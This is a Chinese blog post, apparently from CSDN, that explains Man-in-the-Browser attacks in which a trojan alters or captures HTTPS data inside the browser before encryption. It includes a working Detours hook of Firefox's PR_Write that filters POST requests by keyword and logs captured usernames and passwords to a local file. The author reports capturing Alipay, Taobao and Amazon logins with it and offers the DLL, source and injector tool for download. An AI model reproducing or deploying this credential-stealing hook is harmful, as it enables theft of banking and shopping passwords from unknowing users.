浏览器数据包截获Man-in-the-browser

本文探讨了Man-in-the-Browser攻击方式,介绍如何利用木马修改浏览器中的HTTPS数据,实现对用户敏感信息如银行交易金额和账号的篡改。同时提供了一个针对Firefox浏览器的POC程序案例。

Man-in-the-browser跟man-in-the-middle(中间人攻击)有点类似,浏览器(IE, firefox)被木马感染后,木马可以修改web页面,修改或者添加http(s)中的任何数据。而这个过程中用户和服务器都不知晓。去年玩过一个flash游戏,游戏成绩最后使用一个POST请求score=2000,通过https传送到服务器上。这时注入一段程序到浏览器中,在数据加密之前把成绩改了,就大功告成,得了一个不错的成绩。是想,如果是网银交易是否也存在同样的问题:交易金额被修改,交易账号被修改等等。


之前发了一篇文章支付宝是加密还是编码说支付宝使用固定密钥加密登陆密码,致使密文永远不变,不能抵御重放攻击。当zbot之类的木马出现的后,支付宝的密码就不安全了。zbot能抓取浏览器中的包括https在内的所有数据,窃取密码是zbot的一个重要功能。Zbot将自身注入到浏览器中,hook关键API:PR_Write, HttpSenRequest等,将抓取的感兴趣的数据传送给它的主人。

我针对Firefox做了一个简单的POC程序,根据关键字抓取用户名和密码。使用Detours完成hook,detours的使用很简便,安装包中有samples,不赘述。PR_Write函数原型Firefox官网上有,下面是hook函数,根据关键字保存下感兴趣的数据。经测试支付宝,淘宝,亚马逊密码都能截取。

int My_PR_Write(PVOID fd,const void *buf,int amount)
{
	try
	{
		if(amount>20 && isHttpPost( (char*)buf ) && KeywordFilter( (char*)buf) )
		{
			OutputDebugStringA("==================================\n");
			OutputDebugStringA((char*)buf);
			OutputDebugStringA("==================================\n\n");
			FILE* f = NULL;
			fopen_s(&f,"c:\\hijackhttp.txt","a");
			fwrite(buf,1,amount,f);
			fclose(f);
		}
	}
	catch(...)
	{
		Print("Bowl===Bowl===Bowl===");
	}
	return pfPR_Write(fd,buf,amount);
}


程序和代码下载:Man in the browser

HijackHttp.dll: 完成hook的dll。

dllmain.cpp 是源代码。

SetDll.exe 是detours自带的一个工具,修改PE文件的导入表来加载DLL.。

使用说明.txt 是使用方法的简单说明。



评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值